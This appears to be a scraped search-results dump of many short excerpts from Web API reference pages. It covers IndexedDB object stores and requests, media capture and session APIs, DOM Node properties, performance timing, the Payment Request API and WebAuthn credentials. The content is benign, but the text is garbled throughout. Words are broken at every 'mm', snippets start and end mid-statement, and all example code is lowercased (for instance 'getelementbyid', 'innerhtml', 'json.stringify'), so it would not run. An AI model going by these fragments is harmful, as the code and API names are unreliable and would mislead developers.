... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBObjectStore.deleteIndex() - Web APIs
lse }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", { unique: false }); objectstore.deleteindex("seconds"); objectstore.deleteindex("contact"); }; specifications specification status co
mment indexed database api 2.0the definition of 'deleteindex()' in that specification.
... reco
mmendation indexed database api draftthe definition of 'deleteindex()' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBObjectStore.get() - Web APIs
tstore("todolist"); // make a request to get a record by key from the object store var objectstorerequest = objectstore.get("walk dog"); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; var myrecord = objectstorerequest.result; }; }; specifications specification status co
mment indexed database api 2.0the definition of 'get()' in that specification.
... reco
mmendation indexed database api draftthe definition of 'get()' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBObjectStore.index() - Web APIs
'</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status co
mment indexed database api 2.0the definition of 'index()' in that specification.
... reco
mmendation indexed database api draftthe definition of 'index()' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBObjectStore.indexNames - Web APIs
ion.objectstore("todolist"); console.log(objectstore.indexnames); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status co
mment indexed database api 2.0the definition of 'indexnames' in that specification.
... reco
mmendation indexed database api draftthe definition of 'indexnames' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBObjectStore.keyPath - Web APIs
action.objectstore("todolist"); console.log(objectstore.keypath); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status co
mment indexed database api 2.0the definition of 'keypath' in that specification.
... reco
mmendation indexed database api draftthe definition of 'keypath' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBObjectStore.name - Web APIs
ansaction.objectstore("todolist"); console.log(objectstore.name); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status co
mment indexed database api 2.0the definition of 'name' in that specification.
... reco
mmendation indexed database api draftthe definition of 'name' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBObjectStore.openCursor() - Web APIs
.objectstore("name"); var request = objectstore.opencursor(); request.onsuccess = function(event) { var cursor = event.target.result; if(cursor) { // cursor.value contains the current record being iterated through // this is where you'd do something with the result cursor.continue(); } else { // no more results } }; specification specification status co
mment indexed database api 2.0the definition of 'opencursor()' in that specification.
... reco
mmendation indexed database api draftthe definition of 'opencursor()' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBObjectStore.openKeyCursor() - Web APIs
nsuccess = function(event) { var cursor = event.target.result; if(cursor) { // cursor.key contains the key of the current record being iterated through // note that there is no cursor.value, unlike for opencursor // this is where you'd do something with the result cursor.continue(); } else { // no more results } }; specifications specification status co
mment indexed database api 2.0the definition of 'openkeycursor()' in that specification.
... reco
mmendation indexed database api draftthe definition of 'openkeycursor()' in that specification.
... reco
mmendation ...
IDBObjectStore.put() - Web APIs
= objectstore.put(data); // log the transaction that originated this request console.log("the transaction that originated this request is " + updatetitlerequest.transaction); // when this new request succeeds, run the displaydata() function again to update the display updatetitlerequest.onsuccess = () => { displaydata(); }; }; specification specification status co
mment indexed database api 2.0the definition of 'put()' in that specification.
... reco
mmendation indexed database api draftthe definition of 'put()' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBObjectStore.transaction - Web APIs
on.objectstore("todolist"); console.log(objectstore.transaction); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status co
mment indexed database api 2.0the definition of 'transaction' in that specification.
... reco
mmendation indexed database api draftthe definition of 'transaction' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBOpenDBRequest.onblocked - Web APIs
}; request.onblocked = function() { console.log("your database version can't be upgraded because the app is open somewhere else."); } specifications specification status co
mment indexed database api 2.0the definition of 'onblocked' in that specification.
... reco
mmendation indexed database api draftthe definition of 'onblocked' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBOpenDBRequest.onupgradeneeded - Web APIs
, "publisher"); var frequencyindex = magazines.createindex("by_frequency", "frequency"); } }; request.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; request.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; db = request.result; populateanddisplaydata(); }; specifications specification status co
mment indexed database api 2.0the definition of 'onupgradeneeded' in that specification.
... reco
mmendation indexed database api draftthe definition of 'onupgradeneeded' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBOpenDBRequest - Web APIs
unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", { unique: false }); }; specifications specification status co
mment indexed database api 2.0the definition of 'idbopendbrequest' in that specification.
... reco
mmendation initial definition indexed database api draftthe definition of 'idbopendbrequest' in that specification.
... reco
mmendation ...
IDBRequest.error - Web APIs
n the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; objectstoretitlerequest.onerror = function() { // if an error occurs with the request, log what it is console.log("there has been an error with retrieving your data: " + objectstoretitlerequest.error); }; specifications specification status co
mment indexed database api 2.0the definition of 'error' in that specification.
... reco
mmendation indexed database api draftthe definition of 'error' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBRequest.onerror - Web APIs
}; specifications specification status co
mment indexed database api 2.0the definition of 'onerror' in that specification.
... reco
mmendation indexed database api draftthe definition of 'onerror' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
IDBRequest.onsuccess - Web APIs
object to "yes" data.notified = "yes"; // create another request that inserts the item back // into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status co
mment indexed database api 2.0the definition of 'onsuccess' in that specification.
... reco
mmendation indexed database api draftthe definition of 'onsuccess' in that specification.
... reco
mmendation browser compatibility the compatibility table on this page is generated from structured data.
KeyboardEvent - Web APIs
examples include the left control key, the left co
mmand key on a macintosh keyboard, or the left shift key.
... keyboardevent.metakey read only returns a boolean that is true if the meta key (on mac keyboards, the ⌘ co
mmand key; on windows keyboards, the windows key (⊞)) was active when the key event was generated.
... if (keyname === 'control') { alert('control key was released'); } }, false); </script> </head> <body> </body> </html> specifications specification status co
mment ui eventsthe definition of 'keyboardevent' in that specification.
MediaDevices.getUserMedia() - Web APIs
it is reco
mmended to use the adapter.js polyfill instead, which does handle constraints.
..."user" : "environment") } }; specifications specification status co
mment media capture and streamsthe definition of 'mediadevices.getusermedia()' in that specification.
... candidate reco
mmendation initial definition ...
MediaQueryList - Web APIs
a mediaquerylist object stores information on a media query applied to a document, with support for both i
mmediate and event-driven matching against the state of the document.
... this is very useful for adaptive design, since this makes it possible to observe a document to detect when its media queries change, instead of polling the values periodically, and allows you to progra
mmatically make changes to a document based on media query status.
... specifications specification status co
mment css object model (cssom) view modulethe definition of 'mediaquerylist' in that specification.
MediaSession.setActionHandler() - Web APIs
values each of the actions is a co
mmon media session control request.
... skipad skips past the currently playing advertisement or co
mmercial.
... specifications specification status co
mment media session standardthe definition of 'media session action types' in that specification.
Media Session action types - Web APIs
values each of the actions is a co
mmon media session control request.
... skipad skips past the currently playing advertisement or co
mmercial.
... specifications specification status co
mment media session standardthe definition of 'media session action types' in that specification.
MediaSessionActionDetails - Web APIs
values each of the actions is a co
mmon media session control request.
... skipad skips past the currently playing advertisement or co
mmercial.
... specifications specification status co
mment media session standardthe definition of 'media session action types' in that specification.
MediaSource.endOfStream() - Web APIs
when you make an xmlhttprequest call for a media chunk, and onabort or onerror triggers, you might want to call endofstream('network'), display a descriptive message in the ui, and maybe retry the network request i
mmediately or wait until the network is back up (via some kind of polling.) decode: terminates playback and signals that a decoding error has occured.
... var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status co
mment media source extensionsthe definition of 'endofstream()' in that specification.
... reco
mmendation initial definition.
MediaStream.getTrackById() - Web APIs
example this example activates a co
mmentary track on a video by ducking the audio level of the main audio track to 50%, then enabling the co
mmentary track.
... stream.gettrackbyid("primary-audio-track").applyconstraints({ volume: 0.5 }); stream.gettrackbyid("co
mmentary-track").enabled = true; specifications specification status co
mment media capture and streamsthe definition of 'gettrackbyid()' in that specification.
... candidate reco
mmendation initial specification.
MediaStreamConstraints.audio - Web APIs
: 8, echocancellation: true } }).then(stream => audioelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which calls getusermedia(), specifying a set of audio constraints requesting that echo cancellation be enabled and that, if possible, the sample rate be 8 bits per sample instead of the more co
mmon 16 bits (possibly as a bandwidth saving measure).
... result specifications specification status co
mment media capture and streamsthe definition of 'mediastreamconstraints.audio' in that specification.
... candidate reco
mmendation initial specification.
MediaStreamTrack - Web APIs
specifications specification status co
mment identity for webrtcthe definition of 'isolated tracks' in that specification.
... candidate reco
mmendation additional properties for isolated track support media capture and streamsthe definition of 'mediastreamtrack' in that specification.
... candidate reco
mmendation initial definition ...
MediaTrackConstraints.deviceId - Web APIs
however, the value of the deviceid is determined by the source of the track's content, and there's no particular format mandated by the specification (although some kind of guid is reco
mmended).
... specifications specification status co
mment media capture and streamsthe definition of 'deviceid' in that specification.
... candidate reco
mmendation initial specification.
MediaTrackConstraints.groupId - Web APIs
however, the value of the groupid is determined by the source of the track's content, and there's no particular format mandated by the specification (although some kind of guid is reco
mmended).
... specifications specification status co
mment media capture and streamsthe definition of 'groupid' in that specification.
... candidate reco
mmendation initial specification.
MediaTrackSettings.deviceId - Web APIs
the actual value of the string, however, is determined by the source of the track, and there is no guarantee what form it will take, although the specification does reco
mmend it be a guid.
... specifications specification status co
mment media capture and streamsthe definition of 'deviceid' in that specification.
... candidate reco
mmendation initial specification.
MediaTrackSettings.groupId - Web APIs
the actual value of the string, however, is determined by the source of the track, and there is no guarantee what form it will take, although the specification does reco
mmend it be a guid.
... specifications specification status co
mment media capture and streamsthe definition of 'groupid' in that specification.
... candidate reco
mmendation initial specification.
MediaTrackSettings.sampleRate - Web APIs
co
mmon values include 44,100 (standard cd audio), 48,000 (standard digital audio), 96,000 (co
mmonly used in audio mastering and post-production), and 192,000 (used for high-resolution audio in professional recording and mastering sessions).
... specifications specification status co
mment media capture and streamsthe definition of 'samplerate' in that specification.
... candidate reco
mmendation initial specification.
MediaTrackSettings - Web APIs
co
mmon values include 1.3333333333 (for the classic television 4:3 "standard" aspect ratio, also used on tablets such as apple's ipad), 1.7777777778 (for the 16:9 high-definition widescreen aspect ratio), and 1.6 (for the 16:10 aspect ratio co
mmon among widescreen computers and tablets).
...the value will be one of: "user" a camera facing the user (co
mmonly known as a "selfie cam"), used for self-portraiture and video calling.
... specifications specification status co
mment screen capturethe definition of 'mediatracksettings' in that specification.
Media Session API - Web APIs
it then instantiates a metadata object for the session, and adds event handlers for the user control actions: if ('mediasession' in navigator) { navigator.mediasession.metadata = new mediametadata({ title: 'unforgettable', artist: 'nat king cole', album: 'the ultimate collection (remastered)', artwork: [ { src: 'https://du
mmyimage.com/96x96', sizes: '96x96', type: 'image/png' }, { src: 'https://du
mmyimage.com/128x128', sizes: '128x128', type: 'image/png' }, { src: 'https://du
mmyimage.com/192x192', sizes: '192x192', type: 'image/png' }, { src: 'https://du
mmyimage.com/256x256', sizes: '256x256', type: 'image/png' }, { src: 'https://du
mmyimage.com/384x384', sizes: '384x384', type: 'image/png'...
... }, { src: 'https://du
mmyimage.com/512x512', sizes: '512x512', type: 'image/png' }, ] }); navigator.mediasession.setactionhandler('play', function() { /* code excerpted.
...*/ }) .catch(error => { console.log(error) }); }); specifications specification status co
mment media session standard draft initial definition.
MutationObserver.takeRecords() - Web APIs
the most co
mmon use case for this is to i
mmediately fetch all pending mutation records i
mmediately prior to disconnecting the observer, so that any pending mutations can be processed when stopping down the observer.
...this is done i
mmediately prior to calling disconnect() to stop observing the dom.
... specifications specification status co
mment domthe definition of 'mutationobserver.takerecords()' in that specification.
Navigator.registerProtocolHandler() - Web APIs
it is reco
mmended to always set the title, since browsers that support the updated spec most likely will be backwards-compatible and still accept the title (but not use it).
... otherwise, the scheme must be one of the following: bitcoin geo im irc ircs magnet mailto
mms news nntp openpgp4fpr sip sms smsto ssh tel urn webcal wtai xmpp example if your site is burgers.example.com, you can register a protocol handler for it to handle web+burger: links, like so: navigator.registerprotocolhandler("web+burger", "https://burgers.example.com/?burger=%s", "burger handler"); this create...
...see the screenshot below for an example on google.co.uk: specifications specification status co
mment html living standardthe definition of 'registerprotocolhandler()' in that specification.
Navigator - Web APIs
navigator.serviceworker read only returns a serviceworkercontainer object, which provides access to registration, removal, upgrade, and co
mmunication with the serviceworker objects for the associated document.
... navigator.wakelock read only returns a wakelock interface you can use to request screen wake locks and prevent screen from di
mming, turning off, or showing a screen saver.
... specifications specification status co
mment html living standardthe definition of 'the navigator object' in that specification.
NetworkInformation - Web APIs
the networkinformation interface provides information about the connection a device is using to co
mmunicate with the network and provides a means for scripts to be notified if the connection type changes.
... networkinformation.type read only returns the type of connection a device is using to co
mmunicate with the network.
... specifications specification status co
mment network information apithe definition of 'networkinformation' in that specification.
Node.nextSibling - Web APIs
the node.nextsibling read-only property returns the node i
mmediately following the specified one in their parent's childnodes, or returns null if the specified node is the last child in the parent element.
... element.nextelementsibling may be used to obtain the next element skipping any whitespace nodes, other between-element text, or co
mments.
... specifications specification status co
mment domthe definition of 'node.nextsibling' in that specification.
Node.nodeValue - Web APIs
for text, co
mment, and cdata nodes, nodevalue returns the content of the node.
... the following table shows the return values for different elements: node value of nodevalue cdatasection content of the cdata section co
mment content of the co
mment document null documentfragment null documenttype null element null namednodemap null entityreference null notation null processinginstruction entire content excluding the target text content of the text node when nodevalue is defined to be null, setting it has no effect.
... specifications specification status co
mment domthe definition of 'node: nodevalue' in that specification.
Node.textContent - Web APIs
if the node is a cdata section, co
mment, processing instruction, or text node, textcontent returns the text inside the node, i.e., the node.nodevalue.
... for other node types, textcontent returns the concatenation of the textcontent of every child node, excluding co
mments and processing instructions.
...or set the element's text content: document.getelementbyid('diva').textcontent = 'this text is different!'; // the html for diva is now: // <div id="diva">this text is different!</div> specifications specification status co
mment domthe definition of 'node.textcontent' in that specification.
Node - Web APIs
these include attr, characterdata (which text, co
mment, and cdatasection are all based on), processinginstruction, documenttype, notation, entity, and entityreference.
...possible values are: name value element_node 1 attribute_node 2 text_node 3 cdata_section_node 4 entity_reference_node 5 entity_node 6 processing_instruction_node 7 co
mment_node 8 document_node 9 document_type_node 10 document_fragment_node 11 notation_node 12 node.nodevalue returns / sets the value of the current node.
... else { matches.push(node) } } }) return matches } for example, to find text nodes that contain typos: const typos = ["teh", "adn", "btu", "adress", "youre", "msitakes"] const pattern = new regexp("\\b(" + typos.join("|") + ")\\b", "gi") const mistakes = grep(document.body, pattern) console.log(mistakes) specifications specification status co
mment domthe definition of 'node' in that specification.
NodeList.length - Web APIs
example the length property is often useful in dom progra
mming.
...it's also co
mmonly used as the iterator in a for loop, as in this example.
... // all the paragraphs in the document var items = document.getelementsbytagname("p"); // for each item in the list, // append the entire element as a string of html var gross = ""; for (var i = 0; i < items.length; i++) { gross += items[i].innerhtml; } // gross is now all the html for the paragraphs specifications specification status co
mment domthe definition of 'nodelist: length' in that specification.
NonDocumentTypeChildNode - Web APIs
nondocumenttypechildnode.previouselementsibling read only returns the element i
mmediately prior to this node in its parent's children list, or null if there is no element in the list prior to this node.
... nondocumenttypechildnode.nextelementsibling read only returns the element i
mmediately following this node in its parent's children list, or null if there is no element in the list following this node.
... specifications specification status co
mment domthe definition of 'nondocumenttypechildnode' in that specification.
Notification - Web APIs
notification.close() progra
mmatically closes a notification instance.
...this is not only best practice — you should not be spa
mming users with notifications they didn't agree to — but going forward browsers will explicitly disallow notifications not triggered in response to a user gesture.
... specifications specification status co
mment notifications api living standard living standard ...
OffscreenCanvas - Web APIs
// co
mmit rendering to the first canvas var bitmapone = offscreen.transfertoimagebitmap(); one.transferfromimagebitmap(bitmapone); // ...
... // co
mmit rendering to the second canvas var bitmaptwo = offscreen.transfertoimagebitmap(); two.transferfromimagebitmap(bitmaptwo); asynchronous display of frames produced by an offscreencanvas another way to use the offscreencanvas api, is to call transfercontroltooffscreen() on a <canvas> element, either on a worker or the main thread, which will return an offscreencanvas object from an htmlcanvaselement object from the main thread.
... requestanimationframe(render); } requestanimationframe(render); }; specifications specification status co
mment html living standardthe definition of 'offscreencanvas' in that specification.
PaintWorklet - Web APIs
the paintworklet interface of the css painting api progra
mmatically generates an image where a css property expects a file.
... paintworklet.registerpaint() registers a class progra
mmatically generate an image where a css property expects a file.
... @supports (background: paint(id)) { background-image: paint(checkerboard); } specifications specification status co
mment css painting api level 1the definition of 'paintworkletglobalscope' in that specification.
Path2D.addPath() - Web APIs
transform optional a do
mmatrix to be used as the transformation matrix for the path that is added.
... (technically a do
mmatrixinit object).
...; p2.rect(0, 0, 100, 75); // create transformation matrix that moves 200 points to the right let m = document.createelementns('http://www.w3.org/2000/svg', 'svg').createsvgmatrix(); m.a = 1; m.b = 0; m.c = 0; m.d = 1; m.e = 200; m.f = 0; // add second path to the first path p1.addpath(p2, m); // draw the first path ctx.fill(p1); result specifications specification status co
mment html living standardthe definition of 'path2d.addpath()' in that specification.
PaymentAddress.region - Web APIs
usage notes in some countries, like belgium, it's unco
mmon for people to provide a region as part of their postal address.
... specifications specification status co
mment payment request apithe definition of 'paymentaddress.region' in that specification.
... candidate reco
mmendation initial definition.
PaymentCurrencyAmount.currencySystem - Web APIs
specifications specification status co
mment payment request apithe definition of 'paymentcurrencyamount' in that specification.
... candidate reco
mmendation no longer part of the specification payment request api the definition of 'paymentcurrencyamount.currencysystem' in that specification.
... candidate reco
mmendation the march 20, 2018 version of the specification; the last one to include this property ...
PaymentCurrencyAmount.value - Web APIs
important note: the number given in this string is always specified using the period (".") as the decimal point, rather than the co
mma (","), even if the user's locale normally uses the co
mma.
... specifications specification status co
mment payment request apithe definition of 'paymentcurrencyamount.value' in that specification.
... candidate reco
mmendation ...
PaymentRequest.PaymentRequest() - Web APIs
this property is co
mmonly used to add a discount or surcharge line item indicating the different amount in details.modifiers.total.
...} specifications specification status co
mment payment request apithe definition of 'paymentrequest() constructor' in that specification.
... candidate reco
mmendation initial definition.
Payment processing concepts - Web APIs
url-based payment method identifiers these may vary substantially depending on the specifics of the service, and a given processing service may have multiple urls used, depending on the version of their api, their co
mmunication technology, and so forth.
... specifications specification status co
mment payment request api candidate reco
mmendation initial definition.
... payment method identifiers candidate reco
mmendation defines payment method identifiers and how they are validated, and, where applicable, minted and formally registered with the w3c.
performance.getEntries() - Web APIs
.duration); } // use getentriesbyname() to get all "mark" entries named "begin" p = performance.getentriesbyname("begin", "mark"); for (let i=0; i < p.length; i++) { console.log ("mark and begin entry[" + i + "]: name = " + p[i].name + "; starttime = " + p[i].starttime + "; duration = " + p[i].duration); } } specifications specification status co
mment performance timeline level 2the definition of 'getentries()' in that specification.
... candidate reco
mmendation performance timelinethe definition of 'getentries()' in that specification.
... reco
mmendation initial definition.
performance.getEntriesByName() - Web APIs
" + p[i].duration); } // use getentriesbyname() to get all "mark" entries named "begin" p = performance.getentriesbyname("begin", "mark"); for (var i=0; i < p.length; i++) { log ("mark and begin entry[" + i + "]: name = " + p[i].name + "; starttime = " + p[i].starttime + "; duration = " + p[i].duration); } } specifications specification status co
mment performance timeline level 2the definition of 'getentriesbyname()' in that specification.
... candidate reco
mmendation performance timelinethe definition of 'getentriesbyname()' in that specification.
... reco
mmendation initial definition.
performance.getEntriesByType() - Web APIs
" + p[i].duration); } // use getentriesbyname() to get all "mark" entries named "begin" p = performance.getentriesbyname("begin", "mark"); for (var i=0; i < p.length; i++) { log ("mark and begin entry[" + i + "]: name = " + p[i].name + "; starttime = " + p[i].starttime + "; duration = " + p[i].duration); } } specifications specification status co
mment performance timeline level 2the definition of 'getentriesbytype()' in that specification.
... candidate reco
mmendation performance timelinethe definition of 'getentriesbytype()' in that specification.
... reco
mmendation initial definition.
performance.now() - Web APIs
specifications specification status co
mment high resolution time level 2the definition of 'performance.now()' in that specification.
... reco
mmendation stricter definitions of interfaces and types.
... reco
mmendation initial definition ...
performance.setResourceTimingBufferSize() - Web APIs
a browser's reco
mmended resource timing buffer size is at least 150 performance entry objects.
...performance.setresourcetimingbuffersize() = not supported"); } } specifications specification status co
mment resource timing level 1the definition of 'setresourcetimingbuffersize()' in that specification.
... candidate reco
mmendation initial definition.
PerformanceEntry.duration - Web APIs
= not supported"); } for (var i=0; i < methods.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status co
mment performance timeline level 2the definition of 'duration' in that specification.
... candidate reco
mmendation performance timelinethe definition of 'duration' in that specification.
... reco
mmendation initial definition.
PerformanceEntry.entryType - Web APIs
"begin" via the mark() method performance.mark("begin"); // check the entrytype of all the "begin" entries var entriesnamedbegin = performance.getentriesbyname("begin"); for (var i=0; i < entriesnamedbegin.length; i++) { var typeofentry = entriesnamedbegin[i].entrytype; console.log("entry is type: " + typeofentry); } } specifications specification status co
mment performance timeline level 2the definition of 'entrytype' in that specification.
... candidate reco
mmendation performance timelinethe definition of 'entrytype' in that specification.
... reco
mmendation initial definition.
PerformanceEntry.name - Web APIs
= not supported"); } for (var i=0; i < methods.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status co
mment performance timeline level 2the definition of 'name' in that specification.
... candidate reco
mmendation performance timelinethe definition of 'name' in that specification.
... reco
mmendation initial definition.
PerformanceNavigationTiming.domComplete - Web APIs
the domcomplete read-only property returns a timestamp representing the time value equal to the time i
mmediately before the user agent sets the current document readiness of the current document to complete.
... syntax perfentry.domcomplete; return value a timestamp representing a time value equal to the time i
mmediately before the user agent sets the current document readiness of the current document to complete.
...tive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status co
mment navigation timing level 2the definition of 'domcomplete' in that specification.
PerformanceNavigationTiming.domContentLoadedEventEnd - Web APIs
the domcontentloadedeventend read-only property returns a timestamp representing the time value equal to the time i
mmediately after the current document's domcontentloaded event completes.
... syntax perfentry.domcontentloadedeventend; return value a timestamp representing the time value equal to the time i
mmediately after the current document's domcontentloaded event completes.
...e = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status co
mment navigation timing level 2the definition of 'domcontentloadedeventend' in that specification.
PerformanceNavigationTiming.domContentLoadedEventStart - Web APIs
the domcontentloadedeventstart read-only property returns a timestamp representing the time value equal to the time i
mmediately before the user agent fires the domcontentloaded event at the current document.
... syntax perfentry.domcontentloadedeventstart; return value a timestamp representing the time value equal to the time i
mmediately before the user agent fires the domcontentloaded event at the current document.
...tive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status co
mment navigation timing level 2the definition of 'domcontentloadedeventstart' in that specification.
PerformanceNavigationTiming.domInteractive - Web APIs
the dominteractive read-only property returns a timestamp representing the time value equal to the time i
mmediately before the user agent sets the current document readiness of the current document to interactive.
... syntax perfentry.dominteractive; return value a timestamp representing the time value equal to the time i
mmediately before the user agent sets the current document readiness of the current document to interactive.
...e = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status co
mment navigation timing level 2the definition of 'dominteractive' in that specification.
PerformanceNavigationTiming.loadEventStart - Web APIs
the loadeventstart read-only property returns a timestamp representing the time value equal to the time i
mmediately before the load event of the current document is fired.
... syntax perfentry.loadeventstart; return value a timestamp representing a time value equal to the time i
mmediately before the load event of the current document is fired.
...tive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status co
mment navigation timing level 2the definition of 'loadeventstart' in that specification.
PerformanceNavigationTiming.unloadEventEnd - Web APIs
the unloadeventend read-only property returns a timestamp representing the time value equal to the time i
mmediately after the user agent finishes the unload event of the previous document.
... syntax perfentry.unloadeventend; return value a timestamp representing a time value equal to the time i
mmediately after the user agent finishes the unload event of the previous document.
...tive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status co
mment navigation timing level 2the definition of 'unloadeventend' in that specification.
PerformanceNavigationTiming.unloadEventStart - Web APIs
the unloadeventstart read-only property returns a timestamp representing the time value equal to the time i
mmediately before the user agent starts the unload event of the previous document.
... syntax perfentry.unloadeventstart; return value a timestamp representing the time value equal to the time i
mmediately before the user agent starts the unload event of the previous document.
...tive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status co
mment navigation timing level 2the definition of 'unloadeventstart' in that specification.
PerformanceResourceTiming.connectEnd - Web APIs
the connectend read-only property returns the timestamp i
mmediately after the browser finishes establishing the connection to the server to retrieve the resource.
..." + properties[i] + " = not supported"); } } } specifications specification status co
mment resource timing level 1the definition of 'connectend' in that specification.
... candidate reco
mmendation initial definition.
Using Pointer Events - Web APIs
function handlecancel(evt) { log("pointercancel: id = " + evt.pointerid); var idx = ongoingtouchindexbyid(evt.pointerid); ongoingtouches.splice(idx, 1); // remove it; we're done } since the idea is to i
mmediately abort the touch, we simply remove it from the ongoing touch list without drawing a final line segment.
...ngoingtouchindexbyid(idtofind) { for (var i = 0; i < ongoingtouches.length; i++) { var id = ongoingtouches[i].identifier; if (id == idtofind) { return i; } } return -1; // not found } showing what's going on function log(msg) { var p = document.getelementbyid('log'); p.innerhtml = msg + "\n" + p.innerhtml; } specifications specification status co
mment pointer events – level 2the definition of 'pointerevent' in that specification.
... reco
mmendation non-stable version.
PublicKeyCredential - Web APIs
the publickeycredential interface provides information about a public key / private key pair, which is a credential for logging in to a service using an un-phishable and data-breach resistant asy
mmetric key pair instead of a password.
... var options = { challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status co
mment web authentication: an api for accessing public key credentials level 1the definition of 'publickeycredential interface' in that specification.
... reco
mmendation initial definition.
PublicKeyCredentialCreationOptions.excludeCredentials - Web APIs
the value of the strings may be: "usb": the authenticator can be contacted via a removable usb link "nfc": the authenticator may be used over nfc (near field co
mmunication) "ble": the authenticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client device (cannot be removed).
... pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status co
mment web authentication: an api for accessing public key credentials level 1the definition of 'excludecredentials' in that specification.
... reco
mmendation initial definition.
PublicKeyCredentialRequestOptions.allowCredentials - Web APIs
the value of the strings may be: "usb": the authenticator can be contacted via a removable usb link "nfc": the authenticator may be used over nfc (near field co
mmunication) "ble": the authenticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client device (cannot be removed).
... server } ], challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status co
mment web authentication: an api for accessing public key credentials level 1the definition of 'allowcredentials' in that specification.
... reco
